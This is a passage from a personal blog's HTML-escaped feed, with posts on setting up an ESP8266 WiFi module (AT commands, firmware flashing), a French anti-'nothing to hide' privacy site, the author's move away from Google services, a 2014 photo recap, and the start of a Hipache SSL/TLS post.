try different baud rates, it will either work, display gibberish, or simply
fail… &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;115200&lt;/code&gt; seems to be the default value.&lt;/p&gt;

&lt;p&gt;Once you find the right baud rate, you can send a first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AT&lt;/code&gt; comand to the
module. The following command asks the module whether it is up:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;AT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It should respond with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt;. The &lt;a href=&quot;https://github.com/espressif/esp8266_at/wiki/AT_Description&quot;&gt;AT command set&lt;/a&gt; is quite large, I cover a
few commands in this post but feel free to try them all.&lt;/p&gt;

&lt;p&gt;At this point, I could communicate with the module but it wasn’t super stable. I
read that it could be an issue with old firmware (related to the default baud
rate) so I looked into flashing my ESP-01 with a more recent firmware.&lt;/p&gt;

&lt;h2 id=&quot;upgrading-the-firmware&quot;&gt;Upgrading the firmware&lt;/h2&gt;

&lt;p&gt;I downloaded the most recent official firmware from &lt;a href=&quot;https://github.com/espressif/esp8266_at/tree/master/bin&quot;&gt;espressif/esp8266_at&lt;/a&gt;. In
order to flash the module, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GPIO0&lt;/code&gt; must be pulled-down by wiring its pin to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GND&lt;/code&gt;. After that, &lt;a href=&quot;https://github.com/themadinventor/esptool&quot;&gt;esptool&lt;/a&gt; can be
used:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;esptool.py &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /dev/tty.usbserial-A50285BI write_flash 0x0000 boot_v1.1.bin &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;    0x01000 user1.bin 0x7C000 esp_init_data_default.bin 0x7E000 blank.bin
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;boot_v1.1.bin&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;esp_init_data_default.bin&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blank.bin&lt;/code&gt; don’t really
change between versions but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user1.bin&lt;/code&gt; does! Recent firmware apparently support
&lt;a href=&quot;https://www.electrodragon.com/cloud-updating-your-wi07c-esp8266-now/&quot;&gt;cloud updates&lt;/a&gt;, but I haven’t tried that yet.&lt;/p&gt;

&lt;p&gt;In order to change the baud rate, connect to your module and send the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AT+CIOBAUD&lt;/code&gt; command with a value (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;57600&lt;/code&gt; in this case):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;AT+CIOBAUD=57600
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that the communication with the module is OK, let’s join an access point.&lt;/p&gt;

&lt;h2 id=&quot;joining-an-access-point&quot;&gt;Joining an access point&lt;/h2&gt;

&lt;p&gt;I used &lt;a href=&quot;https://github.com/guyz/pyesp8266&quot;&gt;pyesp8266&lt;/a&gt; to talk to the module and
connect to an Access Point. This tool offers a thin abstraction layer on top of
some more AT commands:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;python esp8266test.py &amp;lt;serial_port&amp;gt; &amp;lt;ssid&amp;gt; &amp;lt;password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A few hints in case something goes wrong:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Is the red LED on the module lit? If it is not, the board is not getting
power.&lt;/li&gt;
  &lt;li&gt;When trying to issue commands, do you see the blue LED on the module blinking?
If not, check the RX/TX connections. If the LED is constantly lit, then one of
the connections is wrong (probably RX/TX).&lt;/li&gt;
  &lt;li&gt;Are you seeing gibberish? Try a different baud rate. In one of the provided
scripts, run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AT+CIOBAUD&lt;/code&gt; command first (modify the script).&lt;/li&gt;
  &lt;li&gt;The script gets stuck on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AT+CWJAP&lt;/code&gt; command? Increase the timeout in the
script (default is: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5&lt;/code&gt; seconds, mine works better with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;running-a-tcp-server&quot;&gt;Running a TCP server&lt;/h2&gt;

&lt;p&gt;As I wrote previously, this module embeds a TCP/IP stack, which allows the
module to open a socket and listen to a given port (among other things). This is
doable by manually sending &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AT&lt;/code&gt; commands or by using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;esp8266server.py&lt;/code&gt;
script (bundled with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyesp8266&lt;/code&gt; tool).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2015/03/screen.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This script runs a simple TCP server on port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80&lt;/code&gt; by sending the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AT&lt;/code&gt;
commands:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# allow multiple connections
AT+CIPMUX=1

# run a TCP server on port 80
AT+CIPSERVER=1,80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script also sends the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AT+CIFSR&lt;/code&gt; to retrieve the IP address. We can use this
IP to connect to the server. In a web browser, we would see the message &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GOT
IT!&lt;/code&gt; as depicted in the screenshot above.&lt;/p&gt;

&lt;h2 id=&quot;links&quot;&gt;Links&lt;/h2&gt;

&lt;p&gt;Because nothing would have been possible without these articles and useful
resources, thanks!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.madebymarket.com/blog/dev/getting-started-with-esp8266.html&quot;&gt;Getting started with the esp8266 and Arduino&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://shin-ajaran.blogspot.fr/2014/12/noobs-guide-to-esp8266-with-arduino.html&quot;&gt;noob’s guide to ESP8266 with Arduino Mega 2560 or Uno&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.cse.dmu.ac.uk/~sexton/ESP8266/&quot;&gt;ESP8266 Teensy Time&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://tomeko.net/other/ESP8266/&quot;&gt;ESP8266 WiFi module&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ukhas.net/wiki/esp8266/firmware_update&quot;&gt;ESP8266 - Upgrading the Firmware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.esp8266.com/&quot;&gt;ESP8266 Community Forum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.electrodragon.com/w/ESP8266&quot;&gt;ESP8266 Electrodragon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/esp8266/esp8266-wiki&quot;&gt;esp8266/esp8266-wiki - Toolchain @ GitHub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.labradoc.com/i/follower/p/notes-esp8266&quot;&gt;ESP8266 WiFi Module Quick Start Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/espressif/esp8266_at&quot;&gt;ESP8266 Offical AT+ Command @ GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;AcoLab is a hackerspace based in Clermont-Fd, France. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Je n&apos;ai rien a cacher (I&apos;ve got nothing to hide)</title>
        <link href="https://williamdurand.fr/2015/01/31/je-n-ai-rien-a-cacher/"/>
        <updated>2015-01-31T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2015/01/31/je-n-ai-rien-a-cacher</id>
        <content type="html">&lt;p&gt;This week, I launched &lt;a href=&quot;https://jenairienacacher.fr/&quot;&gt;jenairienacacher.fr&lt;/a&gt;, a
website explaining what is wrong with the &lt;em&gt;“nothing to hide”&lt;/em&gt; argument, and
providing information, data, and facts on this topic. This is my first project
written in French (as far as I can remember), however @Guyzmo made an English
version of the content (that isn’t available anymore, unfortunately).&lt;/p&gt;

&lt;p&gt;I know quite a lot of people who think they don’t have anything to hide because
they are honest and they respect the law. I was a bit tired to always repeat
myself, to always find the same articles and studies to prove they did not
realize what it meant to say &lt;em&gt;“I’ve got nothing to hide”&lt;/em&gt;. I was not aware of
any online resource that aimed at gathering as much information as possible
written in French. Then, earlier this month, @KPhoen was asking for arguments to
explain the issue to his mom on Twitter. This project was born.&lt;/p&gt;

&lt;p&gt;What I started to do was basic: aggregating information from various places, and
trying to come up with a website. However, &lt;strong&gt;this would not have been possible
without the help of @mazenovi&lt;/strong&gt;. Yes, it would not have even existed. To be
honest, convincing him was the most complicated challenge to me. But as soon as
I explained him the project, he was willing to contribute! After a few weeks of
work, we released a first version.&lt;/p&gt;

&lt;p&gt;On the first day, more than 8000 unique visitors browsed
&lt;a href=&quot;https://jenairienacacher.fr&quot;&gt;jenairienacacher.fr&lt;/a&gt; (thanks @ubermuda for the
Piwik instance). I tweeted the link in the morning and a couple hours after, I
submitted it to &lt;a href=&quot;https://news.ycombinator.com/item?id=8965142&quot;&gt;Hacker News&lt;/a&gt;. It
stayed on the home page for several hours, which is amazing given that the
website is written in French.  Someone submitted the website on
&lt;a href=&quot;https://www.reddit.com/r/france/&quot;&gt;reddit&lt;/a&gt; too, and it has been quite popular as
well. All in all, this project got &lt;strong&gt;positive feedback&lt;/strong&gt;, way more than I
anticipated to be honest. We now have even more work and ideas to make this
website better!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2015/01/rienacacher-stats.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Both the website and its source code are &lt;a href=&quot;https://github.com/willdurand/jenairienacacher.fr&quot;&gt;hosted on
GitHub&lt;/a&gt;. Feel free to give a
hand :) You can also follow @rienacacher_fr on Twitter if you want to keep in
touch. @mazenovi will tweet curated resources tagged with #jnarac.&lt;/p&gt;

&lt;p&gt;Thank you ♥&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Rethinking My Life (On The Internets)</title>
        <link href="https://williamdurand.fr/2015/01/16/rethinking-my-life-on-the-internets/"/>
        <updated>2015-01-16T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2015/01/16/rethinking-my-life-on-the-internets</id>
        <content type="html">&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;The Internets.&lt;/em&gt; This wonderful land where everything is &lt;strong&gt;free&lt;/strong&gt;, &lt;strong&gt;public&lt;/strong&gt;,
and… &lt;strong&gt;persistent&lt;/strong&gt;. LOL&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I often &lt;strong&gt;carefully&lt;/strong&gt; chose what I put online: comments, documents, pictures,
etc. I wrote &lt;em&gt;often&lt;/em&gt; here because it took me a while to &lt;strong&gt;educate myself&lt;/strong&gt;, to
&lt;strong&gt;learn and understand&lt;/strong&gt; the implications of my behavior on Internet. I started
using Internet when I was 18&lt;em&gt;-ish&lt;/em&gt;, because of my studies to be honest, since I
was not much interested in anything over IP at that time.&lt;/p&gt;

&lt;h2 id=&quot;fighting-technology-enslavement&quot;&gt;Fighting Technology Enslavement&lt;/h2&gt;

&lt;p&gt;By the end of 2013, I &lt;strong&gt;unsubscribed&lt;/strong&gt; myself from most of the mailing-lists I
had subscribed to in the past, and basically turned off all notifications,
including phone notifications (Twitter, Facebook, Emails, etc.). I moved from a
push approach to a &lt;strong&gt;pull&lt;/strong&gt; approach: &lt;strong&gt;I decide&lt;/strong&gt; when I want to consume
information, not the other way around, so that I can keep focused on what I am
doing. I don’t need to be notified in real time. I don’t want to. When we
analyze such a situation, one reads his Twitter notifications because his own
smartphone told him to do so. What a weird feeling isn’t it? This is exactly
what &lt;strong&gt;technology enslavement&lt;/strong&gt; is. I am part of this generation of (young)
people who can hang out in a pub, all focused on their smartphone for whatever
(bad) reason (most of the time, &lt;em&gt;Candy Crush…&lt;/em&gt;), no one talking to each other,
not verbally I mean. I educated myself to avoid this, to &lt;strong&gt;live without
smartphone&lt;/strong&gt; or laptop, and to truly start to &lt;strong&gt;live life to the full&lt;/strong&gt;. Call me
nerd or whatever you want, I know too many muggles (read non-[IT|nerd|geek|tech]
people) who do that…&lt;/p&gt;

&lt;p&gt;Things went really well! I became more efficient, I get things done, and I did
not miss any important event. What was the difference then? &lt;strong&gt;Less stress&lt;/strong&gt;,
&lt;strong&gt;more time&lt;/strong&gt; to dedicate to things that matter such as family, friends and
hobbies.&lt;/p&gt;

&lt;h2 id=&quot;just-delete-me&quot;&gt;Just. Delete. Me.&lt;/h2&gt;

&lt;p&gt;Last year, I started to reduce the amount of web services I was using or rather,
I thought I would use. &lt;a href=&quot;http://justdelete.me/&quot;&gt;Justdelete.me&lt;/a&gt; was great help! I
listed all services I was still using, and I deleted or disabled the other ones.&lt;/p&gt;

&lt;p&gt;Now we are in 2015 and I began to accomplish something I wanted to do for a
while now: taking care of my personal data, for real. Too late? No, it is
&lt;strong&gt;better late than never&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;taking-control-of-my-personal-data&quot;&gt;Taking Control of My Personal Data&lt;/h2&gt;

&lt;p&gt;First, I want to &lt;strong&gt;control which companies can access my personal data&lt;/strong&gt;,
meaning I agree with their &lt;em&gt;terms and conditions&lt;/em&gt; (so things must be crystal
clear, which is not often the case). Second, I &lt;strong&gt;don’t want to be a product&lt;/strong&gt;
anymore. Third, I want to be &lt;strong&gt;more respectful with people connected to me&lt;/strong&gt;, by
not giving their personal information to companies without asking them. Of
course they probably do that with my information already, but I am aware of this
and I can live with it.&lt;/p&gt;

&lt;p&gt;As I don’t use a lot of applications, switching to better services in term of
&lt;strong&gt;reliability&lt;/strong&gt; and &lt;strong&gt;privacy&lt;/strong&gt; implies three major pieces: emails, agendas and
contacts. All hosted on this good old friend: &lt;strong&gt;Google&lt;/strong&gt;. I tried to move away
from Google, I swear it! Several times. But this month, I decided to take a new
year resolution to avoid giving up again.&lt;/p&gt;

&lt;h3 id=&quot;emails-contacts-agendas&quot;&gt;Emails, Contacts, Agendas&lt;/h3&gt;

&lt;p&gt;I started by buying my &lt;strong&gt;own domain name for my emails&lt;/strong&gt;: &lt;strong&gt;drnd.me&lt;/strong&gt;. It is
both short and quite easy to remember. Also, take my name, remove vowels,
concatenate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.me&lt;/code&gt; and you are done! See the use of a domain name you control as
an abstraction layer, you can put any email hosting service behind it, your
contacts will still be able to reach you. I don’t know why I did not do that
earlier actually… Then, I created new aliases and changed my email everywhere.
I reconfigured Gmail to send my new personal email as &lt;em&gt;Reply-To&lt;/em&gt; email’s header,
so that it is being spread slowly but surely.&lt;/p&gt;

&lt;p&gt;Then, based on some recommendations on Twitter, I chose
&lt;strong&gt;&lt;a href=&quot;http://www.fastmail.com/?STKI=13808765&quot;&gt;Fastmail&lt;/a&gt;&lt;/strong&gt; (affiliate link) to take
care of my emails, and I am &lt;strong&gt;happy to pay&lt;/strong&gt; for it! It is &lt;strong&gt;blazing fast&lt;/strong&gt;, it
works and it perfectly fits my needs. Importing all my emails from Gmail took
half a day. At the time of writing this article, Gmail forwards all emails to
Fastmail, and I now exclusively use it. Fastmail &lt;a href=&quot;https://www.fastmail.com/about/privacy.html&quot;&gt;takes the privacy of their
users very seriously&lt;/a&gt;, no data
mining, a clear privacy policy and it is an Australian company subject to
Australian law (&lt;a href=&quot;http://blog.fastmail.com/2013/10/07/fastmails-servers-are-in-the-us-what-this-means-for-you/&quot;&gt;even if their servers are in the
US&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Fastmail also provides an &lt;strong&gt;Address Book&lt;/strong&gt; feature in &lt;em&gt;beta&lt;/em&gt;. It works pretty
well so I moved all my contacts from Gmail to Fastmail. I also switched from
Google Calendar to Fastmail &lt;strong&gt;Calendar&lt;/strong&gt;. Oh and they also provide a secure
platform for file sharing through WebDAV. &lt;em&gt;Tip top!&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;instant-messaging&quot;&gt;Instant Messaging&lt;/h3&gt;

&lt;p&gt;I often use GTalk, replacing it is not easy because of my contacts, but also
because most of the existing IM solutions are tied to corporations (Facebook,
Google, etc.). The main issue is that GTalk conversations are indexed by Google
in Gmail, meaning these conversations are not really private.&lt;/p&gt;

&lt;p&gt;As suggested by Josh, &lt;a href=&quot;https://joshlockhart.com/archive/goodbye-google&quot;&gt;using Adium and firing up
OTR-encryption&lt;/a&gt; is a wise
solution. Because I can’t force my friends to use a secure communication
channel, I am forced to consider IM conversations in the public domain. If one
of my contacts uses a client supporting
&lt;a href=&quot;https://en.wikipedia.org/wiki/Off-the-Record_Messaging&quot;&gt;OTR&lt;/a&gt;, we will have
private conversations though.&lt;/p&gt;

&lt;h3 id=&quot;web-browsing&quot;&gt;Web Browsing&lt;/h3&gt;

&lt;p&gt;My main web browser is Chrome, and I am not going to change it. What I did
however has been to completely &lt;strong&gt;remove any link to my Google account&lt;/strong&gt;. I lost
all my bookmarks in the fight, and I realized that this was not a problem. Who
uses bookmarks nowadays anyway? ;-) I also &lt;strong&gt;disabled&lt;/strong&gt; all &lt;em&gt;speed improvement
features&lt;/em&gt; that use Google web services.&lt;/p&gt;

&lt;p&gt;I configured Chrome to use &lt;a href=&quot;https://duckduckgo.com/&quot;&gt;DuckDuckGo&lt;/a&gt;, rather than
Google. It is going well so far, but I am not going to definitely avoid Google.
That is why I installed &lt;a href=&quot;https://www.eff.org/privacybadger&quot;&gt;Privacy Badger&lt;/a&gt;, a
free &lt;strong&gt;privacy-related browser extension&lt;/strong&gt;, enabling its users to easily detect
and control web bugs. As suggested by Josh again, I also installed &lt;a href=&quot;https://www.eff.org/https-everywhere&quot;&gt;HTTPS
Everywhere&lt;/a&gt; to ensure that my web browser
establishes &lt;strong&gt;a secure connection&lt;/strong&gt; to websites that support it. This is more or
less the &lt;em&gt;client version&lt;/em&gt; of
&lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&quot;&gt;HSTS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For fun, I also gave the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot;&gt;Tor
Browser&lt;/a&gt; a try, a bit
too slow but still quite good. I don’t plan to use yet, but it may be useful if
things turn worse than expected here in France…&lt;/p&gt;

&lt;h2 id=&quot;what-else&quot;&gt;What Else?&lt;/h2&gt;

&lt;p&gt;For years, I helped Google track you by using Google Analytics. I do
&lt;strong&gt;apologize&lt;/strong&gt; for that. I switched to &lt;a href=&quot;http://piwik.org/&quot;&gt;Piwik&lt;/a&gt; last month
thanks to @ubermuda, and I now recommend it over Google Analytics.&lt;/p&gt;

&lt;p&gt;I am now looking for alternatives to &lt;a href=&quot;https://disqus.com/&quot;&gt;Disqus&lt;/a&gt; for the same
reasons, but it is a bit complicated since this blog is basically static HTML,
hosted on &lt;a href=&quot;https://github.com/willdurand/willdurand.github.com&quot;&gt;GitHub&lt;/a&gt;. If
you have suggestions, comments (on Disqus, haha!) are open :)&lt;/p&gt;

&lt;p&gt;Last but not least, I did not talk about
&lt;a href=&quot;https://en.wikipedia.org/wiki/Pretty_Good_Privacy&quot;&gt;PGP&lt;/a&gt;. I don’t really use it
yet (&lt;a href=&quot;https://pgp.mit.edu/pks/lookup?op=get&amp;amp;search=0xA509BCF1C1274F3B&quot;&gt;my public
key&lt;/a&gt;), mainly
because I don’t really know who really uses it: my parents don’t, my friends
don’t. That is why projects such as &lt;a href=&quot;https://www.caliopen.org/&quot;&gt;Caliopen&lt;/a&gt; are
more than interesting!
Since I own a PGP key, I use OSX’s Mail.app mail client +
&lt;a href=&quot;https://gpgtools.org/&quot;&gt;GPGTools&lt;/a&gt; and &lt;a href=&quot;https://ipgmail.com/&quot;&gt;iPGMail&lt;/a&gt; on iPhone.&lt;/p&gt;

&lt;p&gt;Talking about security, that is not what I targeted in the first place. I am
still growing up (we are all growing up when it is related to security in my
opinion), so things are going to change over time. It is probably far from
perfect, but it is better than doing nothing.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>A year in pictures</title>
        <link href="https://williamdurand.fr/2014/12/29/a-year-in-pictures/"/>
        <updated>2014-12-29T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/12/29/a-year-in-pictures</id>
        <content type="html">&lt;p&gt;&lt;a href=&quot;https://github.com/willdurand&quot;&gt;Open Source&lt;/a&gt; and work put aside, here are some
of my greatest moments in 2014.&lt;/p&gt;

&lt;h2 id=&quot;january&quot;&gt;January&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/brussels.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Visiting my sister + City Trip — Brussels, Belgium&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;february&quot;&gt;February&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/clermontech-birthday.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Clermont’ech 1st Birthday — Clermont-Fd, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;march&quot;&gt;March&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/alps.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Skiing with friends — French Alps, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;april&quot;&gt;April&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/running.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Running — Gergovie, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;may&quot;&gt;May&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/montreal.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Visiting @KPhoen + City Trip — Montreal, Canada&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/nyc.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;City Trip + Visiting @jmikola — New York City, USA&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/quebec.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Visiting Julien + City Trip — Quebec, Canada&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;june&quot;&gt;June&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/phptour.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Visiting @youb_s + Conference — Lyon, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;july&quot;&gt;July&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/las-vegas.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Conference — Las Vegas, USA&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/road66.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Road Trip — Somewhere on Road 66, USA&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/williams.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Road Trip — Williams (Arizona), USA&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/grand-canyon.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Road Trip — Grand Canyon, USA&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/horseshoe-bend.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Road Trip — Horseshoe Bend, USA&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/valley-of-fire.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Road Trip — Valley of Fire, USA&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;august&quot;&gt;August&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/berlin.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Visiting @igorwhilefalse + City Trip — Berlin, Germany&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/vichy-tri.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Triathlon (Olympic distance) — Vichy, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;september&quot;&gt;September&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/bike.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Mountainbike race with friends (2x85km) — &lt;a href=&quot;https://en.wikipedia.org/wiki/Massif_Central&quot;&gt;Massif Central&lt;/a&gt;, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;october&quot;&gt;October&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/blend.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Conference — Lyon, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;november&quot;&gt;November&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/clermontech-workshop.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;1st Clermont’ech Workshop (Git) — Clermont-Fd, France&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;december&quot;&gt;December&lt;/h2&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2014/12/hanoi.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Conference + City Trip — Hanoi, Vietnam&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I would like to &lt;strong&gt;thank&lt;/strong&gt; everyone I met either online or in real life over the
year as well as my lovely friends ♥ I wish all of you a &lt;strong&gt;Happy New
Year&lt;/strong&gt;, and all the best! See you in 2015!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Configuring SSL/TLS With Hipache (And Node.js)</title>
        <link href="https://williamdurand.fr/2014/12/23/configuring-ssl-tls-with-hipache-and-nodejs/"/>
        <updated>2014-12-23T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/12/23/configuring-ssl-tls-with-hipache-and-nodejs</id>
        <content type="html">&lt;p&gt;Lately, I have been working on configuring a &lt;strong&gt;SSL/TLS layer&lt;/strong&gt; for a project. As
you may (or may not) think, it is not only about creating SSL certificates. In
the following article, I am going to describe how to properly configure SSL/TLS
with &lt;a href=&quot;https://github.com/hipache/hipache&quot;&gt;Hipache&lt;/a&gt;, a distributed HTTP(s) and
websocket proxy.
